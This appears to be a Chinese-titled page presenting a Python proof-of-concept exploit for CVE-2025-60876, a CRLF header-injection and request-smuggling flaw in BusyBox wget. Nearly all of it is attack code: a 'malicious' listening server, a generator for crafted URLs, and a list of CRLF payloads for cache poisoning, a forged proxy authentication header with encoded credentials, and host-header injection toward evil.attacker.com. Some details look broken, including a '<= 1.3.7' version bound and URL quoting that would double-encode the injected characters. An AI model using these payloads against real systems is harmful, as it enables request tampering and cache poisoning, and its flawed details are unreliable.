CVE-2025-60876: BusyBox wget HTTP请求走私和头部注入漏洞

# CVE-2025-60876 PoC - BusyBox wget HTTP Request Smuggling via CRLF Injection # Affected: BusyBox wget <= 1.3.7 import http.server import socketserver import sys from urllib.parse import quote class CRLFHandler(http.server.BaseHTTPRequestHandler): ''' Malicious HTTP server that exploits BusyBox wget CRLF injection. This PoC demonstrates how an attacker can inject arbitrary HTTP headers by sending a URL with embedded CR (0x0D) and LF (0x0A) characters. ''' def do_GET(self): # Log the raw request to analyze the smuggling attempt print(f"[+] Received request for: {self.path}") print(f"[+] Raw headers: {self.headers}") # Check if CRLF injection was successful # Attacker's goal: inject 'Evil-Header' via URL path if 'Evil-Header' in self.headers: print(f"[!] CRLF INJECTION SUCCESSFUL!") print(f"[!] Injected header value: {self.headers.get('Evil-Header')}") # Attacker's payload could include: # - X-Forwarded-Host manipulation # - X-Real-IP spoofing # - Cache poisoning via X-Survive header # - Authentication bypass via X-Original-URI self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Vulnerable wget response\n') def generate_malicious_url(base_url, payload): ''' Generate malicious URL with CRLF characters. The %0D = CR (0x0D), %0A = LF (0x0A) ''' # Encode CR+LF to inject a new header encoded_payload = quote(payload) # %0D%0A -> %250D%250A in URL encoding malicious_url = f"{base_url}/{encoded_payload}" return malicious_url # Example attack vectors ATTACK_EXAMPLES = [ # Basic header injection "http://target.com/%0D%0AEvil-Header:%20malicious", # Cache poisoning attack "http://target.com/%0D%0AX-Survive:%20true%0D%0AX-Cache:%20HIT", # Proxy authentication bypass "http://target.com/%0D%0AX-Proxy-Authenticate:%20Basic%20YWRtaW46cGFzc3dvcmQ=", # Host header injection for password reset poisoning "http://target.com/%0D%0AX-Forwarded-Host:%20evil.attacker.com", ] if __name__ == '__main__': PORT = 8080 with socketserver.TCPServer(('', PORT), CRLFHandler) as httpd: print(f"[*] Malicious server running on port {PORT}") print("[*] Use BusyBox wget to request: http://localhost:8080/test%0D%0AEvil-Header:Injected") httpd.serve_forever() # On vulnerable BusyBox system, run: # wget 'http://target.com/path%0D%0AEvil-Header:Injected' # This will send: # GET /path\r\nEvil-Header: Injected HTTP/1.1 # Host: target.com # ... instead of the intended single request